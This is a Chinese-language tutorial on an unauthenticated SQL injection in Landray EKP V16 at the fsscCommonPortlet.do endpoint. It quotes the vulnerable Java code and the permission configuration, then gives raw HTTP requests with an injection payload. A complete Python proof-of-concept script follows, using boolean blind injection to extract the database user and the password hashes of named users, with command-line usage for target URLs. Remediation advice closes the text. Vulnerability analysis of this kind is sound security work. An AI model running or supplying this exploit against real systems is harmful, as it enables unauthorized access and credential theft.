蓝凌EKP V16 未授权SQL注入漏洞分析
字数 834 2025-08-22 18:37:27
蓝凌EKP V16 未授权SQL注入漏洞分析与利用教学文档
漏洞概述
蓝凌EKP V16.0.6.R.20220729版本中存在一个未授权SQL注入漏洞,位于/fssc/common/fssc_common_portlet/fsscCommonPortlet.do路径的getICareByFdId方法中。由于权限配置不当,攻击者无需认证即可利用此漏洞执行SQL注入攻击,获取数据库敏感信息。
漏洞分析
漏洞位置
漏洞存在于FsscCommonPortletAction类的getICareByFdId方法中:
public ActionForward getICareByFdId(ActionMapping mapping, ActionForm form,
HttpServletRequest request, HttpServletResponse response) throws Exception {
TimeCounter.logCurrentTime("Action-save", true, this.getClass());
KmssMessages messages = new KmssMessages();
try {
if (!"POST".equals(request.getMethod())) {
throw new UnexpectedRequestException();
}
StringBuilder sql = new StringBuilder();
sql.append("select fdNum,docSubject,fdName,createTime,fdStatus,IsFollow from " +
FsscCommonICare.class.getName() + " where 1 = 1 and IsFollow = '1' and docCreator = '" +
UserUtil.getUser().getFdId() + "'");
String fdNum = request.getParameter("fdNum");
if (StringUtil.isNotNull(fdNum)) {
sql.append(" and fdNum ='" + fdNum + "'");
}
Query query = this.getCommonICareServiceImp(request).getBaseDao()
.getHibernateSession().createQuery(sql.toString());
List<Object[]> list = query.list();
......
}
}
漏洞成因
- SQL注入点:
fdNum参数直接拼接进SQL语句,未做任何过滤或参数化处理 - 未授权访问:由于权限配置不当,攻击者无需认证即可访问该接口
权限配置分析
在WEB-INF/KmssConfig/fssc/common/design.xml文件中,只对以下路径做了权限控制:
tree.jsp*
fssc_common_transfer_field/fsscCommonTransferField.do*
fssc_common_transfer_log/fsscCommonTransferLog.do*
而漏洞路径/fssc/common/fssc_common_portlet/fsscCommonPortlet.do未被限制,导致可以未授权访问。
漏洞复现
复现步骤
-
填充数据库(为注入创造条件):
POST /ekp/fssc/common/fssc_common_portlet/fsscCommonPortlet.do HTTP/1.1 Host: Content-Type: application/x-www-form-urlencoded Content-Length: 76 method=saveICare&fdId=&fdNum=1&docSubject=1&fdName=1&createTime=1&fdStatus=1 -
验证SQL注入:
POST /ekp/fssc/common/fssc_common_portlet/fsscCommonPortlet.do HTTP/1.1 Host: Content-Type: application/x-www-form-urlencoded Content-Length: 60 method=getICareByFdId&fdNum=asdasd'+or+'1'='1&ordertype=down
注入技巧
- 布尔盲注:通过不同的条件返回不同结果来判断条件真假
- 时间盲注:可通过添加延时函数实现(根据数据库类型不同)
漏洞利用
POC脚本分析
import argparse
import requests
header = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
}
def exploit_user(url, db_user):
user_name = ""
for i in range(1, 20):
low = 1
top = 255
mid = (low + top) // 2
while low < top:
send_data = {
"method": "getICareByFdId",
"ordertype": "down",
"fdNum": "aNsSl' or ascii(substring((user_name()),{},1)) < {} and '1'='1".format(i, mid)
}
res = requests.post(url, data=send_data, headers=header)
if "docSubject" in res.text:
top = mid
else:
low = mid + 1
mid = (top + low) // 2
if mid <= 1 or mid >= 254:
break
user_name = user_name + chr(mid - 1)
print("[+]user_name:{}".format(user_name))
print("\033[F", end="")
print("[+]user_name:{}".format(user_name))
def exploit(url, username):
password_len = 32
password = ""
for i in range(1, password_len + 1):
low = 1
top = 255
mid = (low + top) // 2
while low < top:
send_data = {
"method": "getICareByFdId",
"ordertype": "down",
"fdNum": "aNsSl' or ascii(substring((select fdPassword from com.landray.kmss.sys.organization.model.SysOrgPerson where fdLoginName=1)) < {} and '1'='1".format(username, i, mid)
}
res = requests.post(url, data=send_data, headers=header)
if "docSubject" in res.text:
top = mid
else:
low = mid + 1
mid = (top + low) // 2
password = password + chr(mid - 1)
print("[+]password:{}".format(password))
print("\033[F", end="")
print("[+]password:{}".format(password))
def scan_vuln(url, username, db_user):
global header
req_url = url.strip("/") + "/fssc/common/fssc_common_portlet/fsscCommonPortlet.do"
step_data = {
"method": "saveICare",
"fdId":"",
"fdNum": "1",
"docSubject": "1",
"fdName": "test",
"createTime": "1",
"fdStatus": "1"
}
try:
req1 = requests.post(req_url, data=step_data, headers=header)
if req1.status_code == 200 and "result" in req1.text:
print("[+]Vuln exist,start inject password:")
if db_user == "check":
exploit_user(req_url, db_user)
else:
exploit(req_url, username)
else:
print("[-]Vuln not exist.")
exit(0)
except:
print("[-]request error.")
exit(0)
pass
def main():
parser = argparse.ArgumentParser(description="Process command line arguments")
parser.add_argument('-u', '--url', required=True, help='Target URL')
parser.add_argument('-db_user', '--db_user', required=False, help='db_user')
parser.add_argument('-U', '--username', required=False, help='Username argument')
args = parser.parse_args()
url = args.url
db_user = args.db_user
username = args.username
scan_vuln(url, username, db_user)
if __name__ == '__main__':
main()
使用说明
-
检查漏洞存在性并获取数据库用户名:
python poc.py -u http://target.com -db_user check -
获取指定用户的密码:
python poc.py -u http://target.com -U username
修复建议
- 参数化查询:使用预编译语句或ORM框架的参数绑定功能
- 输入验证:对
fdNum参数进行严格的格式验证 - 权限控制:在
design.xml中添加对漏洞路径的权限限制 - 更新补丁:升级到最新版本,蓝凌官方可能已发布修复版本
总结
该漏洞结合了未授权访问和SQL注入两个安全问题,危害性较高。开发人员应重视:
- 所有用户输入都应视为不可信的
- 权限配置需要全面考虑所有接口
- 使用安全的数据库访问方式